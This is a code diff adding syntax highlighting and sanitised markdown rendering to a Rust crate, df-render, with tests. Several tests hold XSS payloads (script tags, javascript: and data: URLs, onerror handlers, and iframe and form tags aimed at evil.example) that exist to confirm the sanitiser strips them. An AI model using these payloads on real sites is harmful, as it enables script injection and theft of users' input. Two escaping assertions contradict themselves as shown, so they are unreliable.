| 130 | + | /// Highlight `source`, choosing a grammar from `path`. | |
| 131 | + | /// | |
| 132 | + | /// Returns `Err(Skipped)` whenever the file should be shown as plain text — | |
| 133 | + | /// there is deliberately no partial result, because half a highlighted file is | |
| 134 | + | /// worse than none. | |
| 135 | + | pub fn highlight(path: &str, source: &str) -> Result<Highlighted, Skipped> { | |
| 136 | + | if source.len() > MAX_BYTES { | |
| 137 | + | return Err(Skipped::TooLarge); | |
| 138 | + | } | |
| 139 | + | if source.lines().any(|l| l.chars().count() > MAX_LINE_CHARS) { | |
| 140 | + | return Err(Skipped::LineTooLong); | |
| 141 | + | } | |
| 142 | + | ||
| 143 | + | let lang = language_for_path(path).ok_or(Skipped::NoGrammar)?; | |
| 144 | + | let config = GRAMMARS.get(lang.grammar).ok_or(Skipped::NoGrammar)?; | |
| 145 | + | ||
| 146 | + | let mut highlighter = Highlighter::new(); | |
| 147 | + | // The injection callback resolves embedded languages (JS inside HTML, and so | |
| 148 | + | // on). Returning `None` means "render the embedded region with the outer | |
| 149 | + | // grammar", which is correct-but-plain rather than wrong. | |
| 150 | + | let events = highlighter | |
| 151 | + | .highlight(config, source.as_bytes(), None, |name| GRAMMARS.get(name)) | |
| 152 | + | .map_err(|_| Skipped::Failed)?; | |
| 153 | + | ||
| 154 | + | let mut renderer = HtmlRenderer::new(); | |
| 155 | + | renderer | |
| 156 | + | .render(events, source.as_bytes(), &|h, out: &mut Vec<u8>| { | |
| 157 | + | if let Some(class) = CLASSES.get(h.0) { | |
| 158 | + | out.extend_from_slice(class); | |
| 159 | + | } | |
| 160 | + | }) | |
| 161 | + | .map_err(|_| Skipped::Failed)?; | |
| 162 | + | ||
| 163 | + | // `HtmlRenderer::lines` yields each line with a trailing newline and with | |
| 164 | + | // every span opened on that line also closed on it, so a line is a valid | |
| 165 | + | // standalone fragment. | |
| 166 | + | let lines = renderer | |
| 167 | + | .lines() | |
| 168 | + | .map(|l| l.trim_end_matches('\n').to_owned()) | |
| 169 | + | .collect(); | |
| 170 | + | ||
| 171 | + | Ok(Highlighted { language: lang.display, lines }) | |
| 172 | + | } | |
| 173 | + | ||
| 174 | + | /// A grammar we can highlight with. | |
| 175 | + | #[derive(Debug, Clone, Copy)] | |
| 176 | + | pub struct Language { | |
| 177 | + | /// Key into [`GRAMMARS`]. Also the name injections are looked up by, so it | |
| 178 | + | /// matches tree-sitter's own language names. | |
| 179 | + | pub grammar: &'static str, | |
| 180 | + | /// Human-readable, for the UI. | |
| 181 | + | pub display: &'static str, | |
| 182 | + | } | |
| 183 | + | ||
| 184 | + | /// Pick a grammar for a path. | |
| 185 | + | /// | |
| 186 | + | /// Whole filenames are checked before extensions, so `Dockerfile` and | |
| 187 | + | /// `.bashrc` resolve even though they have no useful extension. | |
| 188 | + | pub fn language_for_path(path: &str) -> Option<Language> { | |
| 189 | + | let name = path.rsplit('/').next().unwrap_or(path); | |
| 190 | + | let lower = name.to_ascii_lowercase(); | |
| 191 | + | ||
| 192 | + | let by_name = match lower.as_str() { | |
| 193 | + | "makefile" | "gnumakefile" | "dockerfile" | "containerfile" | "justfile" => Some("bash"), | |
| 194 | + | ".bashrc" | ".bash_profile" | ".profile" | ".zshrc" | ".zprofile" => Some("bash"), | |
| 195 | + | "cargo.lock" | "gemfile.lock" => Some("toml"), | |
| 196 | + | "gemfile" | "rakefile" | "podfile" => Some("ruby"), | |
| 197 | + | "cmakelists.txt" => None, | |
| 198 | + | _ => None, | |
| 199 | + | }; | |
| 200 | + | if let Some(g) = by_name { | |
| 201 | + | return GRAMMAR_DISPLAY | |
| 202 | + | .iter() | |
| 203 | + | .find(|(k, _)| *k == g) | |
| 204 | + | .map(|(grammar, display)| Language { grammar, display }); | |
| 205 | + | } | |
| 206 | + | ||
| 207 | + | // `.tar.gz` must not resolve as `gz`; only the final component matters. | |
| 208 | + | let ext = lower.rsplit_once('.').map(|(_, e)| e)?; | |
| 209 | + | ||
| 210 | + | let grammar = match ext { | |
| 211 | + | "rs" => "rust", | |
| 212 | + | "py" | "pyi" | "pyw" => "python", | |
| 213 | + | "js" | "mjs" | "cjs" | "jsx" => "javascript", | |
| 214 | + | "ts" | "mts" | "cts" => "typescript", | |
| 215 | + | "tsx" => "tsx", | |
| 216 | + | "go" => "go", | |
| 217 | + | "c" | "h" => "c", | |
| 218 | + | "cc" | "cpp" | "cxx" | "hpp" | "hh" | "hxx" => "cpp", | |
| 219 | + | "java" => "java", | |
| 220 | + | "rb" | "rake" | "gemspec" => "ruby", | |
| 221 | + | "json" | "jsonc" | "webmanifest" => "json", | |
| 222 | + | "toml" => "toml", | |
| 223 | + | "yaml" | "yml" => "yaml", | |
| 224 | + | "html" | "htm" | "xhtml" => "html", | |
| 225 | + | "css" | "scss" => "css", | |
| 226 | + | "sh" | "bash" | "zsh" | "ksh" => "bash", | |
| 227 | + | "md" | "markdown" | "mdown" => "markdown", | |
| 228 | + | "sql" => "sql", | |
| 229 | + | "php" => "php", | |
| 230 | + | "cs" => "c_sharp", | |
| 231 | + | "scala" | "sbt" | "sc" => "scala", | |
| 232 | + | "hs" => "haskell", | |
| 233 | + | "swift" => "swift", | |
| 234 | + | "ex" | "exs" => "elixir", | |
| 235 | + | "lua" => "lua", | |
| 236 | + | "zig" => "zig", | |
| 237 | + | "nix" => "nix", | |
| 238 | + | _ => return None, | |
| 239 | + | }; | |
| 240 | + | ||
| 241 | + | GRAMMAR_DISPLAY | |
| 242 | + | .iter() | |
| 243 | + | .find(|(k, _)| *k == grammar) | |
| 244 | + | .map(|(grammar, display)| Language { grammar, display }) | |
| 245 | + | } | |
| 246 | + | ||
| 247 | + | /// Grammar key → display name. Also the authoritative list of what is loaded. | |
| 248 | + | const GRAMMAR_DISPLAY: &[(&str, &str)] = &[ | |
| 249 | + | ("bash", "Shell"), | |
| 250 | + | ("c", "C"), | |
| 251 | + | ("c_sharp", "C#"), | |
| 252 | + | ("cpp", "C++"), | |
| 253 | + | ("css", "CSS"), | |
| 254 | + | ("elixir", "Elixir"), | |
| 255 | + | ("go", "Go"), | |
| 256 | + | ("haskell", "Haskell"), | |
| 257 | + | ("html", "HTML"), | |
| 258 | + | ("java", "Java"), | |
| 259 | + | ("javascript", "JavaScript"), | |
| 260 | + | ("json", "JSON"), | |
| 261 | + | ("lua", "Lua"), | |
| 262 | + | ("markdown", "Markdown"), | |
| 263 | + | ("nix", "Nix"), | |
| 264 | + | ("php", "PHP"), | |
| 265 | + | ("python", "Python"), | |
| 266 | + | ("ruby", "Ruby"), | |
| 267 | + | ("rust", "Rust"), | |
| 268 | + | ("scala", "Scala"), | |
| 269 | + | ("sql", "SQL"), | |
| 270 | + | ("swift", "Swift"), | |
| 271 | + | ("toml", "TOML"), | |
| 272 | + | ("tsx", "TSX"), | |
| 273 | + | ("typescript", "TypeScript"), | |
| 274 | + | ("yaml", "YAML"), | |
| 275 | + | ("zig", "Zig"), | |
| 276 | + | ]; | |
| 277 | + | ||
| 278 | + | /// Every grammar, parsed and configured once. | |
| 279 | + | /// | |
| 280 | + | /// `HighlightConfiguration::configure` is what binds capture names to the | |
| 281 | + | /// indices used by [`CLASSES`], and it mutates the configuration — so it happens | |
| 282 | + | /// here, once, rather than per request. Building these costs a few milliseconds | |
| 283 | + | /// each and the map is shared across every request thereafter. | |
| 284 | + | static GRAMMARS: LazyLock<HashMap<&'static str, HighlightConfiguration>> = LazyLock::new(|| { | |
| 285 | + | let mut m = HashMap::new(); | |
| 286 | + | ||
| 287 | + | /// Build one configuration, skipping the grammar entirely if its queries do | |
| 288 | + | /// not compile. A broken grammar must degrade to plain text, never panic at | |
| 289 | + | /// the first request that touches it. | |
| 290 | + | fn add( | |
| 291 | + | m: &mut HashMap<&'static str, HighlightConfiguration>, | |
| 292 | + | name: &'static str, | |
| 293 | + | language: tree_sitter::Language, | |
| 294 | + | highlights: &str, | |
| 295 | + | injections: &str, | |
| 296 | + | locals: &str, | |
| 297 | + | ) { | |
| 298 | + | match HighlightConfiguration::new(language, name, highlights, injections, locals) { | |
| 299 | + | Ok(mut c) => { | |
| 300 | + | c.configure(HIGHLIGHT_NAMES); | |
| 301 | + | m.insert(name, c); | |
| 302 | + | } | |
| 303 | + | Err(e) => tracing_warn(name, &e.to_string()), | |
| 304 | + | } | |
| 305 | + | } | |
| 306 | + | ||
| 307 | + | add(&mut m, "rust", tree_sitter_rust::LANGUAGE.into(), | |
| 308 | + | tree_sitter_rust::HIGHLIGHTS_QUERY, tree_sitter_rust::INJECTIONS_QUERY, ""); | |
| 309 | + | add(&mut m, "python", tree_sitter_python::LANGUAGE.into(), | |
| 310 | + | tree_sitter_python::HIGHLIGHTS_QUERY, "", ""); | |
| 311 | + | add(&mut m, "javascript", tree_sitter_javascript::LANGUAGE.into(), | |
| 312 | + | tree_sitter_javascript::HIGHLIGHT_QUERY, | |
| 313 | + | tree_sitter_javascript::INJECTIONS_QUERY, | |
| 314 | + | tree_sitter_javascript::LOCALS_QUERY); | |
| 315 | + | add(&mut m, "typescript", tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into(), | |
| 316 | + | // The TypeScript grammar's queries extend JavaScript's rather than | |
| 317 | + | // repeating them, so both must be supplied or half the file is plain. | |
| 318 | + | &format!("{}\n{}", tree_sitter_javascript::HIGHLIGHT_QUERY, tree_sitter_typescript::HIGHLIGHTS_QUERY), | |
| 319 | + | tree_sitter_javascript::INJECTIONS_QUERY, | |
| 320 | + | tree_sitter_typescript::LOCALS_QUERY); | |
| 321 | + | add(&mut m, "tsx", tree_sitter_typescript::LANGUAGE_TSX.into(), | |
| 322 | + | &format!("{}\n{}", tree_sitter_javascript::HIGHLIGHT_QUERY, tree_sitter_typescript::HIGHLIGHTS_QUERY), | |
| 323 | + | tree_sitter_javascript::INJECTIONS_QUERY, | |
| 324 | + | tree_sitter_typescript::LOCALS_QUERY); | |
| 325 | + | add(&mut m, "go", tree_sitter_go::LANGUAGE.into(), | |
| 326 | + | tree_sitter_go::HIGHLIGHTS_QUERY, "", ""); | |
| 327 | + | add(&mut m, "c", tree_sitter_c::LANGUAGE.into(), | |
| 328 | + | tree_sitter_c::HIGHLIGHT_QUERY, "", ""); | |
| 329 | + | add(&mut m, "cpp", tree_sitter_cpp::LANGUAGE.into(), | |
| 330 | + | &format!("{}\n{}", tree_sitter_c::HIGHLIGHT_QUERY, tree_sitter_cpp::HIGHLIGHT_QUERY), "", ""); | |
| 331 | + | add(&mut m, "java", tree_sitter_java::LANGUAGE.into(), | |
| 332 | + | tree_sitter_java::HIGHLIGHTS_QUERY, "", ""); | |
| 333 | + | add(&mut m, "ruby", tree_sitter_ruby::LANGUAGE.into(), | |
| 334 | + | tree_sitter_ruby::HIGHLIGHTS_QUERY, "", tree_sitter_ruby::LOCALS_QUERY); | |
| 335 | + | add(&mut m, "json", tree_sitter_json::LANGUAGE.into(), | |
| 336 | + | tree_sitter_json::HIGHLIGHTS_QUERY, "", ""); | |
| 337 | + | add(&mut m, "toml", tree_sitter_toml_ng::LANGUAGE.into(), | |
| 338 | + | tree_sitter_toml_ng::HIGHLIGHTS_QUERY, "", ""); | |
| 339 | + | add(&mut m, "yaml", tree_sitter_yaml::LANGUAGE.into(), | |
| 340 | + | tree_sitter_yaml::HIGHLIGHTS_QUERY, "", ""); | |
| 341 | + | add(&mut m, "html", tree_sitter_html::LANGUAGE.into(), | |
| 342 | + | tree_sitter_html::HIGHLIGHTS_QUERY, tree_sitter_html::INJECTIONS_QUERY, ""); | |
| 343 | + | add(&mut m, "css", tree_sitter_css::LANGUAGE.into(), | |
| 344 | + | tree_sitter_css::HIGHLIGHTS_QUERY, "", ""); | |
| 345 | + | add(&mut m, "bash", tree_sitter_bash::LANGUAGE.into(), | |
| 346 | + | tree_sitter_bash::HIGHLIGHT_QUERY, "", ""); | |
| 347 | + | add(&mut m, "markdown", tree_sitter_md::LANGUAGE.into(), | |
| 348 | + | tree_sitter_md::HIGHLIGHT_QUERY_BLOCK, tree_sitter_md::INJECTION_QUERY_BLOCK, ""); | |
| 349 | + | add(&mut m, "sql", tree_sitter_sequel::LANGUAGE.into(), | |
| 350 | + | tree_sitter_sequel::HIGHLIGHTS_QUERY, "", ""); | |
| 351 | + | add(&mut m, "php", tree_sitter_php::LANGUAGE_PHP.into(), | |
| 352 | + | tree_sitter_php::HIGHLIGHTS_QUERY, tree_sitter_php::INJECTIONS_QUERY, ""); | |
| 353 | + | add(&mut m, "c_sharp", tree_sitter_c_sharp::LANGUAGE.into(), | |
| 354 | + | tree_sitter_c_sharp::HIGHLIGHTS_QUERY, "", ""); | |
| 355 | + | add(&mut m, "scala", tree_sitter_scala::LANGUAGE.into(), | |
| 356 | + | tree_sitter_scala::HIGHLIGHTS_QUERY, "", tree_sitter_scala::LOCALS_QUERY); | |
| 357 | + | add(&mut m, "haskell", tree_sitter_haskell::LANGUAGE.into(), | |
| 358 | + | tree_sitter_haskell::HIGHLIGHTS_QUERY, tree_sitter_haskell::INJECTIONS_QUERY, | |
| 359 | + | tree_sitter_haskell::LOCALS_QUERY); | |
| 360 | + | add(&mut m, "swift", tree_sitter_swift::LANGUAGE.into(), | |
| 361 | + | tree_sitter_swift::HIGHLIGHTS_QUERY, tree_sitter_swift::INJECTIONS_QUERY, | |
| 362 | + | tree_sitter_swift::LOCALS_QUERY); | |
| 363 | + | add(&mut m, "elixir", tree_sitter_elixir::LANGUAGE.into(), | |
| 364 | + | tree_sitter_elixir::HIGHLIGHTS_QUERY, tree_sitter_elixir::INJECTIONS_QUERY, ""); | |
| 365 | + | add(&mut m, "lua", tree_sitter_lua::LANGUAGE.into(), | |
| 366 | + | tree_sitter_lua::HIGHLIGHTS_QUERY, tree_sitter_lua::INJECTIONS_QUERY, | |
| 367 | + | tree_sitter_lua::LOCALS_QUERY); | |
| 368 | + | add(&mut m, "zig", tree_sitter_zig::LANGUAGE.into(), | |
| 369 | + | tree_sitter_zig::HIGHLIGHTS_QUERY, tree_sitter_zig::INJECTIONS_QUERY, ""); | |
| 370 | + | add(&mut m, "nix", tree_sitter_nix::LANGUAGE.into(), | |
| 371 | + | tree_sitter_nix::HIGHLIGHTS_QUERY, tree_sitter_nix::INJECTIONS_QUERY, ""); | |
| 372 | + | ||
| 373 | + | m | |
| 374 | + | }); | |
| 375 | + | ||
| 376 | + | /// `df-render` deliberately has no `tracing` dependency — it is a pure | |
| 377 | + | /// rendering crate — so a grammar that fails to load reports on stderr. | |
| 378 | + | /// This only ever runs once per process, at first use. | |
| 379 | + | fn tracing_warn(name: &str, message: &str) { | |
| 380 | + | eprintln!("df-render: grammar {name} failed to load, files will render as plain text: {message}"); | |
| 381 | + | } | |
| 382 | + | ||
| 383 | + | #[cfg(test)] | |
| 384 | + | mod tests { | |
| 385 | + | use super::*; | |
| 386 | + | ||
| 387 | + | #[test] | |
| 388 | + | fn highlights_rust_and_splits_by_line() { | |
| 389 | + | let out = highlight("src/main.rs", "fn main() {\n let x = 1;\n}\n").unwrap(); | |
| 390 | + | assert_eq!(out.language, "Rust"); | |
| 391 | + | assert_eq!(out.lines.len(), 3, "one fragment per source line"); | |
| 392 | + | assert!(out.lines[0].contains("hl-keyword"), "`fn` should be a keyword: {:?}", out.lines[0]); | |
| 393 | + | // The Rust grammar captures integer literals as `constant.builtin`, not | |
| 394 | + | // `number`. Asserting the family class rather than the leaf keeps this | |
| 395 | + | // test about "the literal got classified" instead of about upstream's | |
| 396 | + | // choice of capture name. | |
| 397 | + | assert!( | |
| 398 | + | out.lines[1].contains("hl-constant"), | |
| 399 | + | "`1` should be classified: {:?}", | |
| 400 | + | out.lines[1] | |
| 401 | + | ); | |
| 402 | + | } | |
| 403 | + | ||
| 404 | + | /// The security-critical property: repository content is attacker | |
| 405 | + | /// controlled, and it reaches a page that renders on our origin. | |
| 406 | + | #[test] | |
| 407 | + | fn escaping_is_not_optional() { | |
| 408 | + | let evil = "let s = \"</span><script>alert(1)</script>\";\n"; | |
| 409 | + | let out = highlight("x.rs", evil).unwrap(); | |
| 410 | + | let joined = out.lines.join("\n"); | |
| 411 | + | assert!( | |
| 412 | + | !joined.contains("<script>"), | |
| 413 | + | "raw markup escaped from the highlighter: {joined}" | |
| 414 | + | ); | |
| 415 | + | assert!(joined.contains("<script>"), "expected escaped form: {joined}"); | |
| 416 | + | } | |
| 417 | + | ||
| 418 | + | /// Even with no grammar the caller must be able to tell "plain" from | |
| 419 | + | /// "broken", so every rejection carries a reason. | |
| 420 | + | #[test] | |
| 421 | + | fn unknown_extensions_fall_back_rather_than_erroring() { | |
| 422 | + | assert_eq!(highlight("a.unknownext", "hello").unwrap_err(), Skipped::NoGrammar); | |
| 423 | + | assert_eq!(highlight("noextension", "hello").unwrap_err(), Skipped::NoGrammar); | |
| 424 | + | } | |
| 425 | + | ||
| 426 | + | #[test] | |
| 427 | + | fn the_spec_size_limits_are_enforced_before_parsing() { | |
| 428 | + | let big = "a\n".repeat(MAX_BYTES); | |
| 429 | + | assert_eq!(highlight("a.rs", &big).unwrap_err(), Skipped::TooLarge); | |
| 430 | + | ||
| 431 | + | let minified = format!("let x = \"{}\";\n", "y".repeat(MAX_LINE_CHARS + 1)); | |
| 432 | + | assert_eq!(highlight("a.js", &minified).unwrap_err(), Skipped::LineTooLong); | |
| 433 | + | } | |
| 434 | + | ||
| 435 | + | #[test] | |
| 436 | + | fn class_names_carry_the_whole_family() { | |
| 437 | + | let idx = HIGHLIGHT_NAMES.iter().position(|n| *n == "function.builtin").unwrap(); | |
| 438 | + | let class = String::from_utf8(CLASSES[idx].clone()).unwrap(); | |
| 439 | + | assert_eq!(class, r#"class="hl-function hl-function-builtin""#); | |
| 440 | + | } | |
| 441 | + | ||
| 442 | + | #[test] | |
| 443 | + | fn filenames_without_a_useful_extension_still_resolve() { | |
| 444 | + | assert_eq!(language_for_path("Dockerfile").unwrap().display, "Shell"); | |
| 445 | + | assert_eq!(language_for_path("a/b/Makefile").unwrap().display, "Shell"); | |
| 446 | + | assert_eq!(language_for_path("Cargo.lock").unwrap().display, "TOML"); | |
| 447 | + | // Only the final extension counts. | |
| 448 | + | assert!(language_for_path("archive.tar.gz").is_none()); | |
| 449 | + | assert_eq!(language_for_path("a.tar.rs").unwrap().display, "Rust"); | |
| 450 | + | } | |
| 451 | + | ||
| 452 | + | /// Every grammar in the display table must actually have loaded. A typo in | |
| 453 | + | /// a query, or an upstream grammar that stops compiling its queries against | |
| 454 | + | /// the pinned `tree-sitter`, silently turns a language plain — this is the | |
| 455 | + | /// test that notices. | |
| 456 | + | #[test] | |
| 457 | + | fn every_advertised_grammar_loads() { | |
| 458 | + | for (key, display) in GRAMMAR_DISPLAY { | |
| 459 | + | assert!( | |
| 460 | + | GRAMMARS.contains_key(key), | |
| 461 | + | "grammar {key} ({display}) is advertised but did not load" | |
| 462 | + | ); | |
| 463 | + | } | |
| 464 | + | assert!(GRAMMARS.len() >= 25, "spec §8 asks for roughly the top 25 languages"); | |
| 465 | + | } | |
| 466 | + | ||
| 467 | + | /// A file that ends without a trailing newline must not lose its last line. | |
| 468 | + | #[test] | |
| 469 | + | fn a_missing_trailing_newline_does_not_drop_a_line() { | |
| 470 | + | let out = highlight("a.rs", "fn a() {}\nfn b() {}").unwrap(); | |
| 471 | + | assert_eq!(out.lines.len(), 2); | |
| 472 | + | assert!(out.lines[1].contains("b")); | |
| 473 | + | } | |
| 474 | + | ||
| 475 | + | #[test] | |
| 476 | + | fn an_empty_file_highlights_to_nothing() { | |
| 477 | + | let out = highlight("a.rs", "").unwrap(); | |
| 478 | + | assert!(out.lines.is_empty() || out.lines == vec![""]); | |
| 479 | + | } | |
| 480 | + | } | |
Acrates/df-render/src/lib.rs+252−0
| @@ −0,0 +1,252 @@ | |||
| 1 | + | //! `df-render` — markdown and content rendering. | |
| 2 | + | //! | |
| 3 | + | //! Spec §8: "Markdown via `comrak` with GFM extensions, rendered server-side | |
| 4 | + | //! and sanitized with `ammonia` on a strict allowlist. No raw HTML passthrough." | |
| 5 | + | //! | |
| 6 | + | //! Repository content is attacker-controlled: anyone who can push can put | |
| 7 | + | //! anything in a README. Every path out of this module is sanitised, and the | |
| 8 | + | //! sanitiser is applied *after* rendering, so no markdown construct can smuggle | |
| 9 | + | //! markup past it. | |
| 10 | + | ||
| 11 | + | use std::sync::LazyLock; | |
| 12 | + | ||
| 13 | + | use ammonia::Builder; | |
| 14 | + | ||
| 15 | + | pub mod autolink; | |
| 16 | + | pub mod highlight; | |
| 17 | + | pub mod symbols; | |
| 18 | + | ||
| 19 | + | /// The sanitiser, built once. | |
| 20 | + | /// | |
| 21 | + | /// Deliberately strict. `ammonia`'s defaults already strip `<script>`, but the | |
| 22 | + | /// dangerous surface is wider than that: `style` attributes enable | |
| 23 | + | /// clickjacking overlays, and unrestricted URL schemes enable `javascript:`. | |
| 24 | + | static CLEANER: LazyLock<Builder<'static>> = LazyLock::new(|| { | |
| 25 | + | let mut b = Builder::default(); | |
| 26 | + | ||
| 27 | + | // Only http/https/mailto. This is what stops `javascript:` and `data:` | |
| 28 | + | // URLs in links and images. | |
| 29 | + | b.url_schemes(["http", "https", "mailto"].into_iter().collect()); | |
| 30 | + | ||
| 31 | + | // Anything with a target must not be able to reach back via window.opener. | |
| 32 | + | b.link_rel(Some("noopener noreferrer nofollow")); | |
| 33 | + | ||
| 34 | + | // No inline styles, no id (which can override page anchors and break | |
| 35 | + | // fragment navigation), no event handlers of any kind. | |
| 36 | + | b.generic_attributes(["title"].into_iter().collect()); | |
| 37 | + | ||
| 38 | + | // Task-list checkboxes. Allowing `<input>` is safe *only* because | |
| 39 | + | // `render.unsafe_ = false` below makes comrak escape raw HTML from the | |
| 40 | + | // source — so the only `<input>` that ever reaches the sanitiser is the | |
| 41 | + | // disabled checkbox comrak itself emits for `- [x]`. A user cannot inject | |
| 42 | + | // one; `raw_input_tags_are_still_escaped` pins that. | |
| 43 | + | b.add_tags(["input"]); | |
| 44 | + | b.add_tag_attributes("input", ["type", "checked", "disabled"]); | |
| 45 | + | b.attribute_filter(|element, attribute, value| match (element, attribute) { | |
| 46 | + | // Defence in depth: even from comrak, accept only checkboxes. | |
| 47 | + | ("input", "type") if value != "checkbox" => None, | |
| 48 | + | _ => Some(value.into()), | |
| 49 | + | }); | |
| 50 | + | ||
| 51 | + | b | |
| 52 | + | }); | |
| 53 | + | ||
| 54 | + | /// Render GitHub-flavoured markdown to sanitised HTML. | |
| 55 | + | pub fn markdown_to_html(source: &str) -> String { | |
| 56 | + | let mut options = comrak::Options::default(); | |
| 57 | + | ||
| 58 | + | options.extension.strikethrough = true; | |
| 59 | + | options.extension.table = true; | |
| 60 | + | options.extension.autolink = true; | |
| 61 | + | options.extension.tasklist = true; | |
| 62 | + | options.extension.footnotes = true; | |
| 63 | + | ||
| 64 | + | // Belt and braces with the sanitiser below: comrak is told not to emit raw | |
| 65 | + | // HTML at all, and ammonia then strips anything that slips through. | |
| 66 | + | options.render.unsafe_ = false; | |
| 67 | + | options.render.escape = false; | |
| 68 | + | options.render.hardbreaks = false; | |
| 69 | + | ||
| 70 | + | let rendered = comrak::markdown_to_html(source, &options); | |
| 71 | + | CLEANER.clean(&rendered).to_string() | |
| 72 | + | } | |
| 73 | + | ||
| 74 | + | /// Render markdown for a comment body. | |
| 75 | + | /// | |
| 76 | + | /// Same pipeline as README rendering; kept as a separate entry point so the | |
| 77 | + | /// two can diverge (comments will gain `#123` and `@handle` autolinking in M3) | |
| 78 | + | /// without loosening README rendering. | |
| 79 | + | pub fn comment_to_html(source: &str) -> String { | |
| 80 | + | markdown_to_html(source) | |
| 81 | + | } | |
| 82 | + | ||
| 83 | + | /// Strip markdown to a plain-text excerpt, for list views and page titles. | |
| 84 | + | pub fn excerpt(source: &str, max_chars: usize) -> String { | |
| 85 | + | let mut out = String::with_capacity(max_chars.min(source.len())); | |
| 86 | + | let mut chars = 0; | |
| 87 | + | ||
| 88 | + | for line in source.lines() { | |
| 89 | + | let line = line.trim(); | |
| 90 | + | // Skip headings, fences and blockquote markers; we want prose. | |
| 91 | + | if line.is_empty() || line.starts_with('#') || line.starts_with("```") { | |
| 92 | + | continue; | |
| 93 | + | } | |
| 94 | + | for c in line.chars() { | |
| 95 | + | if chars >= max_chars { | |
| 96 | + | out.push('…'); | |
| 97 | + | return out; | |
| 98 | + | } | |
| 99 | + | // Collapse markdown emphasis characters rather than showing them. | |
| 100 | + | if matches!(c, '*' | '_' | '`' | '[' | ']') { | |
| 101 | + | continue; | |
| 102 | + | } | |
| 103 | + | out.push(c); | |
| 104 | + | chars += 1; | |
| 105 | + | } | |
| 106 | + | out.push(' '); | |
| 107 | + | chars += 1; | |
| 108 | + | } | |
| 109 | + | ||
| 110 | + | out.trim().to_string() | |
| 111 | + | } | |
| 112 | + | ||
| 113 | + | #[cfg(test)] | |
| 114 | + | mod tests { | |
| 115 | + | use super::*; | |
| 116 | + | ||
| 117 | + | #[test] | |
| 118 | + | fn renders_basic_markdown() { | |
| 119 | + | let h = markdown_to_html("# Title\n\nSome **bold** text."); | |
| 120 | + | assert!(h.contains("<h1>")); | |
| 121 | + | assert!(h.contains("<strong>bold</strong>")); | |
| 122 | + | } | |
| 123 | + | ||
| 124 | + | #[test] | |
| 125 | + | fn renders_gfm_tables_and_tasklists() { | |
| 126 | + | let h = markdown_to_html("| a | b |\n|---|---|\n| 1 | 2 |"); | |
| 127 | + | assert!(h.contains("<table>"), "GFM tables must render: {h}"); | |
| 128 | + | ||
| 129 | + | // The checkbox carries the done/todo distinction. Stripping it renders | |
| 130 | + | // both items identically, silently losing the meaning. | |
| 131 | + | let h = markdown_to_html("- [x] done\n- [ ] todo"); | |
| 132 | + | assert!(h.contains("checkbox"), "tasklists must render: {h}"); | |
| 133 | + | assert!(h.contains("checked"), "completed items must stay marked: {h}"); | |
| 134 | + | } | |
| 135 | + | ||
| 136 | + | #[test] | |
| 137 | + | fn raw_input_tags_are_still_escaped() { | |
| 138 | + | // The assumption that makes allowing <input> safe: raw HTML in the | |
| 139 | + | // source never reaches the sanitiser as markup. | |
| 140 | + | let h = markdown_to_html("<input type=\"text\" name=\"password\">"); | |
| 141 | + | assert!( | |
| 142 | + | !h.contains("<input"), | |
| 143 | + | "a user-authored <input> must not survive: {h}" | |
| 144 | + | ); | |
| 145 | + | ||
| 146 | + | let h = markdown_to_html("<input type=\"checkbox\" onclick=\"alert(1)\">"); | |
| 147 | + | assert!(!h.contains("onclick"), "handler survived: {h}"); | |
| 148 | + | assert!(!h.contains("<input"), "user-authored input survived: {h}"); | |
| 149 | + | } | |
| 150 | + | ||
| 151 | + | // ─── the sanitiser (spec §9) ───────────────────────────────────────────── | |
| 152 | + | ||
| 153 | + | #[test] | |
| 154 | + | fn strips_script_tags() { | |
| 155 | + | let h = markdown_to_html("<script>alert('xss')</script>"); | |
| 156 | + | assert!(!h.contains("<script"), "script survived: {h}"); | |
| 157 | + | assert!(!h.contains("alert"), "script body survived: {h}"); | |
| 158 | + | } | |
| 159 | + | ||
| 160 | + | #[test] | |
| 161 | + | fn strips_javascript_urls() { | |
| 162 | + | // The classic README XSS. | |
| 163 | + | let h = markdown_to_html("[click me](javascript:alert(1))"); | |
| 164 | + | assert!(!h.contains("javascript:"), "javascript: URL survived: {h}"); | |
| 165 | + | } | |
| 166 | + | ||
| 167 | + | #[test] | |
| 168 | + | fn strips_event_handlers() { | |
| 169 | + | let h = markdown_to_html("<img src=x onerror=\"alert(1)\">"); | |
| 170 | + | assert!(!h.contains("onerror"), "event handler survived: {h}"); | |
| 171 | + | } | |
| 172 | + | ||
| 173 | + | #[test] | |
| 174 | + | fn strips_inline_styles() { | |
| 175 | + | // Inline styles enable invisible full-page overlays. | |
| 176 | + | let h = markdown_to_html("<div style=\"position:fixed;inset:0\">x</div>"); | |
| 177 | + | assert!(!h.contains("style="), "inline style survived: {h}"); | |
| 178 | + | } | |
| 179 | + | ||
| 180 | + | #[test] | |
| 181 | + | fn strips_data_urls() { | |
| 182 | + | let h = markdown_to_html("[x](data:text/html;base64,PHNjcmlwdD4=)"); | |
| 183 | + | assert!(!h.contains("data:text/html"), "data: URL survived: {h}"); | |
| 184 | + | } | |
| 185 | + | ||
| 186 | + | #[test] | |
| 187 | + | fn strips_iframes_and_objects() { | |
| 188 | + | for src in [ | |
| 189 | + | "<iframe src=\"https://evil.example\"></iframe>", | |
| 190 | + | "<object data=\"x\"></object>", | |
| 191 | + | "<embed src=\"x\">", | |
| 192 | + | "<form action=\"https://evil.example\"><input name=p></form>", | |
| 193 | + | ] { | |
| 194 | + | let h = markdown_to_html(src); | |
| 195 | + | for tag in ["<iframe", "<object", "<embed", "<form"] { | |
| 196 | + | assert!(!h.contains(tag), "{tag} survived from {src:?}: {h}"); | |
| 197 | + | } | |
| 198 | + | } | |
| 199 | + | } | |
| 200 | + | ||
| 201 | + | #[test] | |
| 202 | + | fn keeps_ordinary_links_but_adds_rel() { | |
| 203 | + | let h = markdown_to_html("[jj](https://github.com/jj-vcs/jj)"); | |
| 204 | + | assert!(h.contains("https://github.com/jj-vcs/jj")); | |
| 205 | + | assert!(h.contains("noopener"), "rel must be set: {h}"); | |
| 206 | + | } | |
| 207 | + | ||
| 208 | + | #[test] | |
| 209 | + | fn html_entities_in_text_are_escaped_not_executed() { | |
| 210 | + | let h = markdown_to_html("5 < 6 & 7 > 2"); | |
| 211 | + | assert!(h.contains("<") || h.contains("&"), "got {h}"); | |
| 212 | + | } | |
| 213 | + | ||
| 214 | + | #[test] | |
| 215 | + | fn a_malicious_readme_cannot_break_out_of_a_code_fence() { | |
| 216 | + | let h = markdown_to_html("```\n</code></pre><script>alert(1)</script>\n```"); | |
| 217 | + | assert!(!h.contains("<script"), "escaped the fence: {h}"); | |
